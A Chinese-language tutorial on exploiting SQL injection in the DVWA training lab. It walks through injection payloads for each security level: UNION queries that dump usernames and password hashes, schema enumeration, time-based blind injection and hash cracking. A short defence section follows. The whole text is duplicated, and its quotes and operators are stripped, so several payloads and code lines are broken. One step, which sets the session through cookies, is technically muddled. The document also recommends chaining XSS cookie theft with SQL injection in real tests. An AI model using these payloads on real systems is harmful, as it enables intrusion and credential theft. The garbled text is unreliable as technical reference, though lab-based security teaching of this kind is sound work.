1. DVWA靶场与SQL注入漏洞概述Damn Vulnerable Web ApplicationDVWA是一个专为安全测试设计的PHP/MySQL Web应用内置了从低到高不同安全等级的漏洞环境。其中SQL注入模块模拟了真实Web应用中常见的数据库安全缺陷是学习渗透测试的经典实验场景。SQL注入SQL Injection作为OWASP Top 10长期占据榜首的Web安全威胁其本质是通过构造特殊输入改变原始SQL查询逻辑的攻击技术。在DVWA靶场中该漏洞被刻意设计在用户ID查询功能中攻击者可以通过输入恶意参数获取非授权数据。2. 实验环境准备2.1 靶场部署方案推荐使用以下两种方式搭建实验环境本地部署在Kali Linux中通过XAMPP集成环境安装wget https://github.com/digininja/DVWA/archive/master.zip unzip master.zip -d /opt/lampp/htdocs/ chmod -R 777 /opt/lampp/htdocs/DVWA-master/Docker部署适合快速启动docker pull vulnerables/web-dvwa docker run -d -p 80:80 vulnerables/web-dvwa注意首次访问需在config/config.inc.php中配置数据库连接将$_DVWA[ db_password ]设为pssw0rd2.2 安全等级设置在DVWA界面左下角可切换安全等级Low无任何防护措施Medium使用mysqli_real_escape_string()过滤High采用SESSION验证机制Impossible使用PDO预处理语句3. 低安全级别渗透实战3.1 基础注入技术观察源码可见用户输入直接拼接到SQL语句$query SELECT first_name, last_name FROM users WHERE user_id $id;经典永注法1 OR 11等效SQLSELECT first_name, last_name FROM users WHERE user_id 1 OR 11联合查询注入1 UNION SELECT user, password FROM users#此时执行的查询SELECT first_name, last_name FROM users WHERE user_id 1 UNION SELECT user, password FROM users#3.2 信息获取技巧通过information_schema获取数据库结构1 UNION SELECT table_name,column_name FROM information_schema.columns WHERE table_schemadatabase()#密码破解建议使用John the Ripperjohn --formatraw-md5 hashes.txt4. 中安全级别绕过技巧4.1 防御机制分析Medium级别使用mysqli_real_escape_string()处理输入$id mysqli_real_escape_string($GLOBALS[___mysqli_ston], $id);4.2 数字型注入突破由于参数未强制类型转换可构造2 OR 11对应SQLSELECT first_name, last_name FROM users WHERE user_id 2 OR 114.3 Burp Suite辅助注入拦截POST请求修改id参数为2 UNION SELECT null,concat(user,:,password) FROM users#获取所有用户凭证5. 高安全级别深度渗透5.1 会话机制分析High级别从SESSION获取参数$id $_SESSION[ id ];5.2 二次注入技术先通过其他漏洞如XSS设置SESSION然后访问注入页面document.cookieid1 UNION SELECT user,password FROM users#;5.3 时间盲注示例当页面无显错时1 AND IF(SUBSTRING(database(),1,1)d,SLEEP(5),0)#6. 防御方案与最佳实践6.1 代码层防护PDO预处理示例$stmt $pdo-prepare(SELECT first_name FROM users WHERE user_id ?); $stmt-execute([$id]);6.2 架构层防护使用WAF规则过滤敏感关键字实施最小权限原则数据库账户仅授权必要操作开启SQL日志审计6.3 运维建议定期进行SQL注入扫描sqlmap、Acunetix代码审计RIPS、SonarQube渗透测试Metasploit框架7. 实战问题排查指南常见错误1注入语句无效检查是否有魔术引号magic_quotes_gpc验证输入是否经过其他过滤函数处理常见错误2UNION查询列数不匹配使用ORDER BY确定列数1 ORDER BY 3#性能优化对大型数据库使用LIMIT分页1 UNION SELECT user,password FROM users LIMIT 0,10#在真实渗透测试中建议结合其他漏洞进行组合攻击。例如先通过XSS获取管理员Cookie再以高权限执行SQL注入。DVWA的关卡设计很好地展示了安全防御的演进过程从完全无防护到多层次防御这正是现代Web应用安全建设的缩影。
1. DVWA靶场与SQL注入漏洞概述Damn Vulnerable Web ApplicationDVWA是一个专为安全测试设计的PHP/MySQL Web应用内置了从低到高不同安全等级的漏洞环境。其中SQL注入模块模拟了真实Web应用中常见的数据库安全缺陷是学习渗透测试的经典实验场景。SQL注入SQL Injection作为OWASP Top 10长期占据榜首的Web安全威胁其本质是通过构造特殊输入改变原始SQL查询逻辑的攻击技术。在DVWA靶场中该漏洞被刻意设计在用户ID查询功能中攻击者可以通过输入恶意参数获取非授权数据。2. 实验环境准备2.1 靶场部署方案推荐使用以下两种方式搭建实验环境本地部署在Kali Linux中通过XAMPP集成环境安装wget https://github.com/digininja/DVWA/archive/master.zip unzip master.zip -d /opt/lampp/htdocs/ chmod -R 777 /opt/lampp/htdocs/DVWA-master/Docker部署适合快速启动docker pull vulnerables/web-dvwa docker run -d -p 80:80 vulnerables/web-dvwa注意首次访问需在config/config.inc.php中配置数据库连接将$_DVWA[ db_password ]设为pssw0rd2.2 安全等级设置在DVWA界面左下角可切换安全等级Low无任何防护措施Medium使用mysqli_real_escape_string()过滤High采用SESSION验证机制Impossible使用PDO预处理语句3. 低安全级别渗透实战3.1 基础注入技术观察源码可见用户输入直接拼接到SQL语句$query SELECT first_name, last_name FROM users WHERE user_id $id;经典永注法1 OR 11等效SQLSELECT first_name, last_name FROM users WHERE user_id 1 OR 11联合查询注入1 UNION SELECT user, password FROM users#此时执行的查询SELECT first_name, last_name FROM users WHERE user_id 1 UNION SELECT user, password FROM users#3.2 信息获取技巧通过information_schema获取数据库结构1 UNION SELECT table_name,column_name FROM information_schema.columns WHERE table_schemadatabase()#密码破解建议使用John the Ripperjohn --formatraw-md5 hashes.txt4. 中安全级别绕过技巧4.1 防御机制分析Medium级别使用mysqli_real_escape_string()处理输入$id mysqli_real_escape_string($GLOBALS[___mysqli_ston], $id);4.2 数字型注入突破由于参数未强制类型转换可构造2 OR 11对应SQLSELECT first_name, last_name FROM users WHERE user_id 2 OR 114.3 Burp Suite辅助注入拦截POST请求修改id参数为2 UNION SELECT null,concat(user,:,password) FROM users#获取所有用户凭证5. 高安全级别深度渗透5.1 会话机制分析High级别从SESSION获取参数$id $_SESSION[ id ];5.2 二次注入技术先通过其他漏洞如XSS设置SESSION然后访问注入页面document.cookieid1 UNION SELECT user,password FROM users#;5.3 时间盲注示例当页面无显错时1 AND IF(SUBSTRING(database(),1,1)d,SLEEP(5),0)#6. 防御方案与最佳实践6.1 代码层防护PDO预处理示例$stmt $pdo-prepare(SELECT first_name FROM users WHERE user_id ?); $stmt-execute([$id]);6.2 架构层防护使用WAF规则过滤敏感关键字实施最小权限原则数据库账户仅授权必要操作开启SQL日志审计6.3 运维建议定期进行SQL注入扫描sqlmap、Acunetix代码审计RIPS、SonarQube渗透测试Metasploit框架7. 实战问题排查指南常见错误1注入语句无效检查是否有魔术引号magic_quotes_gpc验证输入是否经过其他过滤函数处理常见错误2UNION查询列数不匹配使用ORDER BY确定列数1 ORDER BY 3#性能优化对大型数据库使用LIMIT分页1 UNION SELECT user,password FROM users LIMIT 0,10#在真实渗透测试中建议结合其他漏洞进行组合攻击。例如先通过XSS获取管理员Cookie再以高权限执行SQL注入。DVWA的关卡设计很好地展示了安全防御的演进过程从完全无防护到多层次防御这正是现代Web应用安全建设的缩影。
